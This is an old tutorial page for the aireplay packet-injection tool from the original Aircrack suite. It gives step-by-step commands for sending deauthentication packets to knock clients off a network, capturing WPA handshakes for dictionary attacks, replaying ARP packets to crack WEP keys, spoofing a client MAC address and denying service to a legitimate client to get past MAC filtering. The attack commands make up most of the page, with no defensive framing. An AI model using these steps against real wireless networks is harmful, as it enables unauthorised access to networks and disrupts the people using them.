aireplay:
Project Homepage:
http://www.cr0.net:8040/code/network/
(OFFLINE)
Project Homepage:
Local Mirror of
Homepage
aircrack-2.41.tgz MD5:
05A37C8A165EFB11EA226829C809DEB3
NOTE: The next generation of Aircrack, Aircrack-ng has far
superseded the functionality of the original; Aircrack-ng's project homepage can
be found here: http://www.aircrack-ng.org/doku.php
aireplay is an 802.11
packet injection program.
*Orinoco drivers not supported
Disassociate client to find ESSID and for WPA dictionary attack
Producing encrypted packets
for WEP breaking - Client Present
Producing encrypted packets
for WEP breaking - No Client Present
Receiving no ARP requests?
Receiving: "AP rejects
source MAC address?"
The MAC address in the following examples represent:
11:11:11:11:11:11
= BSSID or MAC of the Access Point
22:22:22:22:22:22
= Valid client MAC address
33:33:33:33:33:33
= Source MAC for our attacks (may be valid client MAC that is not currently
active on the
network)
The disassociation
process is the same whether we wish to find a hidden ESSID or to force a WPA
client to reassociate so we can capture the WPA handshake to perform a
dictionary attack. All that differs is the number of disassociation
packets we need to send.
airmon.sh start
[interface] [channel]
airodump [interface] [filename] [channel]
Only 1 disassociation
packet is required to find a hidden ESSID
aireplay -0 1 -a
11:11:11:11:11:11 -c 22:22:22:22:22:22 [interface]

The hidden ESSID will
now appear in the airodump windows

However, to capture the
WPA handshake to perform the WPA dictionary attack we have to ensure the client
is totally disassociated:
aireplay -0 15 -a
11:11:11:11:11:11 -c 22:22:22:22:22:22 [interface]

In the example above we
send 15 disassociation packets (increase if the handshake capture fails)
We now have the clients
WPA handshake and can attempt a dictionary attack utilising
aircrack.
This injection procedure
is required when there is not enough encrypted traffic being passed across the
WLAN to break the WEP key (approximately 300,000 packets are required for
breaking 64-bit WEP and approximately 1,000,000 packets for 128-bit WEP).
This process involves:
-
Deauthing a valid client
(to increase the chances of acquiring an ARP packet, will also allows us to
determine a hidden ESSID.
-
Capture and replay of a
valid ARP packet to speedup/generate the collection of encrypted packets.
airmon.sh start
[interface] [channel]
airodump [interface] [filename] [channel]
Open another console
and initiate a broadcast deauth:
aireplay -0 10 -a 11:11:11:11:11:11 [interface]
Or to perform a more
specific deauth (usually more effective) against a specific station:
aireplay -0 10 -a
11:11:11:11:11:11 -c 22:22:22:22:22:22 [interface]
Whichever of the above
deauths you perform, both are sending 10 deauthentication packets.
Now to produce encrypted
packets by collecting and replaying ARP packets:
aireplay -3 -b 11:11:11:11:11:11 -h 22:22:22:22:22:22
[interface]
We now start
listening for ARP requests with the -3 option. The -h option is
mandatory and has to be the MAC address of an associated client:

As an example:
aireplay -3 -b 11:11:11:11:11:11 -h 22:22:22:22:22:22 [interface]
Captures of around 30,000 encrypted packets in
(10 minutes) to over 75,000 encrypted packets in (10 minutes) against
previously inactive 802.11b networks were observed.
Further Notes:
aireplay -3 -x 900
-b 11:11:11:11:11:11 -h 22:22:22:22:22:22 [interface]
aireplay -3 -n 68
-m 68 -d ff:ff:ff:ff:ff:ff -b 11:11:11:11:11:11 -h
22:22:22:22:22:22 [interface]
The many switches provided with
aireplay should be examined and experimented with. But on the whole it
seemed very much down to luck and which particular packet was replayed that
determined the speed at which encrypted packets could be collected and not
whether the -n, -m, -d or -x switches were utilised.
This attack is only
useful when you need an associated MAC address there is currently no associated client. However it is generally better
to use the MAC address of a real client as in the
Producing encrypted packets
for WEP breaking - Client Present attack.
Open a console and start
airodump:
airmon.sh start
[interface] [channel]
airodump [interface] [filename] [channel]
"Some access points
require reassociation every 30 seconds, otherwise our fake client is
considered disconnected." Open a second console and setup the
associate/reassociate to the access point:
aireplay -1 20 -e
[ESSID] -a 11:11:11:11:11:11 -h 33:33:33:33:33:33 [interface]
If the association
stops you may need to manually restart, however after a while even though the
association requests (aireplay -1 20) stopped encrypted packets were
still being collected ok.
Now open a third
console and start
listening for ARP requests with the -3 option:
aireplay -3 -b 11:11:11:11:11:11 -h 33:33:33:33:33:33
[interface]
It may take a little
time to pickup some ARP packets initially, if successful airodump
should now be collecting encrypted packets at a rate of roughly
3,000/min.
If after
sometime aireplay is still stalling on "(got 0 ARP requests)"
you can attempt to speed this process up with some deauths (e.g. aireplay
-0 10...., as below) followed by some more auths (e.g. aireplay
-1 20...., as below).
aireplay -0 10 -a
11:11:11:11:11:11 -c 33:33:33:33:33:33 [interface] (Deauth)
aireplay -1 20 -e
[ESSID] -a 11:11:11:11:11:11 -h 33:33:33:33:33:33 [interface] (Association
request)
If you are using a
random MAC address (i.e. not a valid inactive MAC) MAC filtering may be in
place:
To overcome this you
will need to acquire the MAC address of a valid client with airodump or kismet
and then DoS this client or wait for it to go down before attempting to join
the network.
|